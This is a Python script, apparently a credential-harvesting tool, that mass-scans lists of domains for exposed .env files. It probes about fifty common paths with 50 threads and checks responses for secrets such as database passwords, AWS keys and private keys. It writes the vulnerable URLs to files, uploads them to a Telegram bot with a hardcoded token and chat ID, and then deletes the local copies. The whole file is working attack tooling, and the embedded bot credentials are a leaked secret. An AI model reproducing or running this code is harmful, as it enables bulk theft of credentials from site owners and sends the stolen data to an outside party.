# -*- coding: utf-8 -*-
import requests
import subprocess
import os
import threading
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor
from colorama import Fore, Style, init
import ctypes
from urllib.parse import urlparse

init(autoreset=True)

def set_cmd_title(title):
    try:
        ctypes.windll.kernel32.SetConsoleTitleW(title)
    except:
        pass

def clear_screen():
    try:
        subprocess.call("cls", shell=True)
    except:
        try:
            subprocess.call("clear", shell=True)
        except:
            print("\n" * 50)

clear_screen()
set_cmd_title("Env Scanner - By @flashkiss_1337")

X = Fore.LIGHTMAGENTA_EX
N = Style.DIM
XX = Style.BRIGHT
O = Style.RESET_ALL

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

TELEGRAM_BOT_TOKEN = "8340535997:AAEjsMpNh57mt-mu-pvDV_I8M_R0d6Dfa18"
TELEGRAM_CHAT_ID = "7504667715"
MAX_FILE_SIZE = 10 * 1024 * 1024
current_file_index = 1
current_filename = "vulnerable.txt"
file_lock = threading.Lock()

paths = [
    "/.env", "/conf/.env", "/wp-content/.env", "/wp-admin/.env", "/library/.env",
    "/new/.env", "/vendor/.env", "/old/.env", "/local/.env", "/api/.env", "/blog/.env",
    "/crm/.env", "/admin/.env", "/laravel/.env", "/app/.env", "/app/config/.env",
    "/apps/.env", "/audio/.env", "/cgi-bin/.env", "/backend/.env", "/src/.env",
    "/base/.env", "/core/.env", "/vendor/laravel/.env", "/storage/.env", "/protected/.env",
    "/newsite/.env", "/www/.env", "/sites/all/libraries/mailchimp/.env", "/database/.env",
    "/public/.env", "/__tests__/test-become/.env", "/redmine/.env", "/gists/cache",
    "/uploads/.env", "/lib/.env", "/sendgrid.env", "/aws.env", "/.env.example",
    "/main/.env", "/docs/.env", "/client/.env", "/.env.dev", "/blogs/.env", "/shared/.env",
    "/download/.env", "/.env.php", "/site/.env", "/sites/.env", "/web/.env"
]

class TelegramFileManager:
    def __init__(self, bot_token, chat_id):
        self.bot_token = bot_token
        self.chat_id = chat_id
        self.base_url = f"https://api.telegram.org/bot{bot_token}/"
        
    def send_document(self, file_path, caption=""):
        try:
            with open(file_path, 'rb') as file:
                files = {'document': file}
                data = {'chat_id': self.chat_id, 'caption': caption}
                response = requests.post(f"{self.base_url}sendDocument", files=files, data=data, timeout=30)
                return response.status_code == 200
        except Exception:
            return False
    
    def is_configured(self):
        return self.bot_token != "YOUR_BOT_TOKEN_HERE" and self.chat_id != "YOUR_CHAT_ID_HERE"

telegram_manager = TelegramFileManager(TELEGRAM_BOT_TOKEN, TELEGRAM_CHAT_ID)

def is_vulnerable(response_text):
    env_indicators = ['APP_NAME', 'APP_KEY', 'DB_', 'API_', 'SECRET_', 'PASSWORD', 'DATABASE_URL', 'MAIL_', 'REDIS_', 'AWS_', 'CLOUD_', 'ENCRYPTION_KEY', 'PRIVATE_KEY']
    return any(indicator in response_text for indicator in env_indicators)

def get_next_filename():
    global current_file_index
    if current_file_index == 1:
        return "vulnerable.txt"
    else:
        return f"vulnerable{current_file_index}.txt"

def rotate_file():
    global current_file_index, current_filename
    
    with file_lock:
        if os.path.exists(current_filename) and telegram_manager.is_configured():
            file_size = os.path.getsize(current_filename)
            if file_size > 0:
                print(Fore.CYAN + f"[*] Sending {current_filename} to Telegram..." + O)
                if telegram_manager.send_document(current_filename, f"Vulnerable Domains Batch {current_file_index}"):
                    print(Fore.GREEN + f"[+] File {current_filename} sent to Telegram successfully!" + O)
        
        if os.path.exists(current_filename):
            try:
                os.remove(current_filename)
                print(Fore.YELLOW + f"[*] Deleted {current_filename}" + O)
            except Exception:
                pass
        
        current_file_index += 1
        current_filename = get_next_filename()
        open(current_filename, 'a', encoding='utf-8').close()
        print(Fore.GREEN + f"[+] Created new file: {current_filename}" + O)

def save_vulnerable_domain(domain, full_url):
    global current_filename
    
    with file_lock:
        if os.path.exists(current_filename):
            file_size = os.path.getsize(current_filename)
            if file_size >= MAX_FILE_SIZE:
                print(Fore.YELLOW + f"[!] File {current_filename} reached {MAX_FILE_SIZE/1024/1024}MB, rotating..." + O)
                rotate_file()
        
        try:
            with open(current_filename, "a", encoding='utf-8') as file:
                file.write(f"{full_url}\n")
        except Exception:
            pass

def check_url(session, full_url):
    try:
        response = session.get(full_url, verify=False, timeout=10)
        if response.status_code == 200 and is_vulnerable(response.text):
            domain = urlparse(full_url).netloc
            print(Fore.LIGHTGREEN_EX + f"[+] Vulnerable URL: {Fore.WHITE}{domain} - {full_url}" + O)
            save_vulnerable_domain(domain, full_url)
            return True
        return False
    except Exception:
        return False

def process_url(base_url):
    base_url = base_url.strip()
    if not base_url:
        return
        
    if not base_url.startswith(("http://", "https://")):
        base_url = "http://" + base_url
        
    with requests.Session() as session:
        session.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'})
        
        vulnerable_found = False
        for path in paths:
            if vulnerable_found:
                break
            full_url = urljoin(base_url, path)
            if check_url(session, full_url):
                vulnerable_found = True
                break
        
        if not vulnerable_found:
            domain = urlparse(base_url).netloc
            print(Fore.LIGHTMAGENTA_EX + f"[-] Not vulnerable: {Fore.WHITE}{domain}" + O)

def check_telegram_config():
    if not telegram_manager.is_configured():
        print(Fore.YELLOW + "[!] Telegram bot not configured." + O)
        print(Fore.YELLOW + "[!] Set TELEGRAM_BOT_TOKEN and TELEGRAM_CHAT_ID in the script." + O)

def send_remaining_files():
    if not telegram_manager.is_configured():
        return
        
    print(Fore.CYAN + "[*] Sending remaining files to Telegram..." + O)
    
    index = 1
    while True:
        if index == 1:
            filename = "vulnerable.txt"
        else:
            filename = f"vulnerable{index}.txt"
            
        if os.path.exists(filename):
            file_size = os.path.getsize(filename)
            if file_size > 0:
                print(Fore.CYAN + f"[*] Sending {filename} to Telegram..." + O)
                if telegram_manager.send_document(filename, f"Vulnerable Domains Batch {index}"):
                    print(Fore.GREEN + f"[+] {filename} sent successfully!" + O)
                    try:
                        os.remove(filename)
                    except:
                        pass
            else:
                try:
                    os.remove(filename)
                except:
                    pass
        else:
            break
        index += 1

def main():
    try:
        global current_filename
        open(current_filename, 'a', encoding='utf-8').close()
        
        check_telegram_config()
        print(Fore.CYAN + f"[*] Max file size: {MAX_FILE_SIZE/1024/1024}MB" + O)
        
        xtt_file_path = input(f"{X}{N}{XX} List: " + O).strip()
        
        if not xtt_file_path:
            print(Fore.RED + "[-] No file path provided!" + O)
            return
            
        with open(xtt_file_path, "r", encoding='utf-8') as xtt_file:
            urls = [line.strip() for line in xtt_file if line.strip()]
            
        if not urls:
            print(Fore.RED + "[-] No URLs found in the file!" + O)
            return
            
        print(Fore.CYAN + f"[*] Processing {len(urls)} URLs with {len(paths)} paths each..." + O)
        print(Fore.YELLOW + "[*] Starting scan..." + O)
        print(Fore.CYAN + f"[*] Current output file: {current_filename}" + O)
        
        with ThreadPoolExecutor(max_workers=50) as executor:
            list(executor.map(process_url, urls))
            
        print(Fore.GREEN + "[+] Scan completed!" + O)
        send_remaining_files()
        print(Fore.GREEN + "[+] All done!" + O)
        
    except FileNotFoundError:
        print(Fore.RED + f"[-] File not found: {xtt_file_path}" + O)
    except KeyboardInterrupt:
        print(Fore.YELLOW + "\n[!] Scan interrupted by user!" + O)
        send_remaining_files()
    except Exception as e:
        print(Fore.RED + f"[-] Error: {str(e)}" + O)
        send_remaining_files()

if __name__ == "__main__":
    main()